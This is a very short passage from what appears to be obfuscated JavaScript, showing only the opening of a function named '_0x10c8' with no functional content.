_0x10c8(){const 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